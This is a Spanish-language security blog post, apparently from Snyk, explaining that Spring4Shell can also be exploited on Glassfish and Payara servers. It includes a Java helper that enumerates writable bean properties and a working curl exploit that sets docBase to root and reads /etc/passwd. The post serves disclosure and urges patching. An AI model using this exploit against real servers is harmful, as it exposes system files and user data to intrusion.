Spring4Shell se extiende a Glassfish y Payara: misma vulnerabilidad, nuevo exploit

La semana pasada anunciamos el descubrimiento de Spring4Shell, una vulnerabilidad de ejecución remota de código (RCE) en versiones anteriores del paquete spring-beans. En nuestra publicación Spring4Shell: explicado el RCE de día cero en Spring Framework, mostramos cómo un antiguo exploit de Tomcat para CVE-2010-1622 volvió a ser relevante. Debido a la naturaleza del problema, esperábamos que se pudieran crear otras cargas útiles además de la de este conocido exploit de Tomcat. Hoy, nuestro equipo de investigación de seguridad confirmó que así es. Ahora existen exploits similares para Glassfish y Payara que aprovechan el mismo problema en Spring, pero con una carga útil diferente. Informamos al equipo de Payara sobre nuestro hallazgo, lo que les ayudó a confirmar su propio análisis: ciertas configuraciones de Payara podrían ser vulnerables.

Pero, ante todo, esto NO es una vulnerabilidad nueva. Es simplemente un nuevo exploit que confirma nuestra expectativa de que el problema es más amplio que el problema inicial de Tomcat. Aunque Payara publicará una corrección urgente para las versiones afectadas de Payara Community y Payara Enterprise, nuestra recomendación para corregir el problema sigue siendo la misma. Actualiza tu spring-beans a la versión 5.3.18 o 5.2.20 o posterior. Queremos enfatizar que es absolutamente necesario actualizar a las versiones más recientes de este paquete y que debes priorizarlo por encima de cualquier otra cosa.

Cómo encontrar más propiedades escribibles para explotar

El equipo de investigación de seguridad de Snyk usó la función que aparece a continuación para averiguar qué atributos disponibles se pueden modificar en un servidor de aplicaciones específico. La función, creada por Kirill Efimov de nuestro equipo de investigación y desarrollo de seguridad, usa la API de Spring para recorrer todas las propiedades disponibles y crear una lista de las que podrían usarse para vulnerar el sistema.

1public static HashSet<String> findWritablePds(Object root, String path, int depth, HashSet<Object> visited) {
2
3  if (visited == null) {
4     visited = new HashSet<>();
5     visited.add(Integer.class);
6     visited.add(Long.class);
7     visited.add(Double.class);
8     visited.add(String.class);
9  }
10
11  HashSet<String> res = new HashSet<>();
12
13  if (depth <= 0) return res;
14  if (visited.contains(root)) return res;
15  else visited.add(root);
16
17  try {
18     BeanWrapperImpl impl = new BeanWrapperImpl(root);
19
20     for (PropertyDescriptor pd : impl.getPropertyDescriptors()) {
21        if (!impl.isReadableProperty(pd.getName())) continue;
22        if (pd.getName().equals("accessible")) continue;
23
24        if (impl.isWritableProperty(pd.getName())) {
25           res.add(path + "." + pd.getName());
26        }
27
28        Object value = impl.getPropertyValue(pd.getName());
29
30        if (value != null && value != Optional.empty()) {
31           res.addAll(findWritablePds(value, path + "." + pd.getName(), depth - 1, visited));
32
33           if (value.getClass().isArray()) {
34              try {
35                 Object[] casted = (Object[]) value;
36
37                 for (int i = 0; i < casted.length; i++) {
38                    res.addAll(findWritablePds(casted[i], path + "." + pd.getName() + "[" + i + "]", depth - 1, visited));
39                 }
40              } catch (ClassCastException cce) {
41                 System.err.println("Exception casting class " + value.getClass().getCanonicalName() + ": " + cce.getMessage());
42              }
43           }
44        }
45     }
46  } catch (Exception e) {
47     e.printStackTrace();
48  }
49
50  return res;
51}

Al llamar a esta función HashSet<String> result = HandlingFormSubmissionApplication.findWritablePds(greeting, "", 100, null); en tu endpoint, podrás enumerarlas e inspeccionarlas fácilmente.

Cómo explotar el servidor Glassfish / Payara

GlassFish es un servidor de aplicaciones similar a Tomcat. No entraremos en detalles sobre sus diferencias porque no son realmente relevantes. Payara Server se deriva de GlassFish y comparte muchas similitudes con él. Sin embargo, son productos diferentes: Payara incluye más funciones que el GlassFish original. El equipo de Payara escribió una magnífica publicación de blog sobre estas diferencias, aunque no son realmente relevantes para este exploit.

Usemos la misma aplicación que en nuestra publicación anterior, pero ahora implementémosla en Payara Server (Community) 5.2022.1. Al usar la función del párrafo anterior, vimos que se pueden modificar los siguientes atributos:

1[.class.module.classLoader.resources.dirContext.docBase, .class.module.classLoader.parent.name, .class.module.classLoader.resources.dirContext.debug, .class.module.classLoader.resources.dirContext.allowLinking, .class.module.classLoader.resources.cache.desiredEntryAccessRatio, .content, .class.module.classLoader.resources, .id, .class.module.classLoader.resources.dirContext.cacheTTL, .class.module.classLoader.antiJARLocking, .class.module.classLoader.debug, .class.module.classLoader.resources.dirContext.cacheMaxSize, .class.module.classLoader.resources.dirContext.cached, .class.module.classLoader.resources.dirContext.caseSensitive, .class.module.classLoader.resources.cache.cacheMaxSize, .class.module.classLoader.clearReferencesStatic, .class.module.classLoader.delegate, .class.module.classLoader.resources.cache.maxAllocateIterations, .class.module.classLoader.resources.cache.spareNotFoundEntries, .class.module.classLoader.jarPath]

Una de las propiedades particularmente interesantes es class.module.classLoader.resources.dirContext.docBase, que usaremos en nuestro nuevo exploit.

En el exploit que aparece a continuación, usamos esta propiedad para establecer docBase en /. Como la raíz ahora apunta a la raíz real de la máquina, podemos acceder a archivos que normalmente no están disponibles. El siguiente ejemplo muestra que ahora podemos descargar el contenido del archivo /etc/passwd con la siguiente llamada:

1http://localhost:8080/handling-form-submission-complete/etc/passwd

Exploit

1echo "Setting doc base to /"
2curl -X POST \
3 -F 'class.module.classLoader.resources.dirContext.docBase=/' \
4 http://localhost:8080/handling-form-submission-complete/greeting
5sleep 2
6echo "Downloading /etc/passwd"
7curl http://localhost:8080/handling-form-submission-complete/etc/passwd

No hace falta decir que esto es algo que no quieres, ya que ahora podemos leer cualquier archivo del sistema de archivos. Esto podría revelar información valiosa para que personas malintencionadas lancen ataques posteriores o exponer datos relacionados con los usuarios.

El proyecto completo del exploit, creado por Calum Hutton, investigador de seguridad de Snyk, está publicado en GitHub.

Actualiza Spring Framework cuanto antes

Reiteramos que esto NO es una vulnerabilidad nueva, sino otro ejemplo de cómo explotar la misma vulnerabilidad Spring4Shell en un servidor diferente. La lección más importante es que este problema de Spring no es exclusivo de Tomcat. El problema en Spring en sí es bastante general y podríamos terminar con muchos exploits diferentes para distintos servidores. Por lo tanto, que aún no se conozca un exploit para tu caso de uso no significa que no seas vulnerable.

Lo mejor que puedes hacer —y, en mi opinión, debes hacer— es actualizar Spring Framework (o al menos el paquete spring-beans) a la versión más reciente. Por lo que hemos podido comprobar, actualizar el paquete resolverá esta vulnerabilidad independientemente de la aplicación que uses.

Snyk puede ayudarte a mantenerte al tanto con análisis periódicos de tus aplicaciones. Snyk te avisa a ti y a tu equipo cuando detecta nuevas vulnerabilidades y les recomienda los pasos a seguir para mantener sus aplicaciones seguras. ¿Qué esperas? ¡Empieza a actualizar!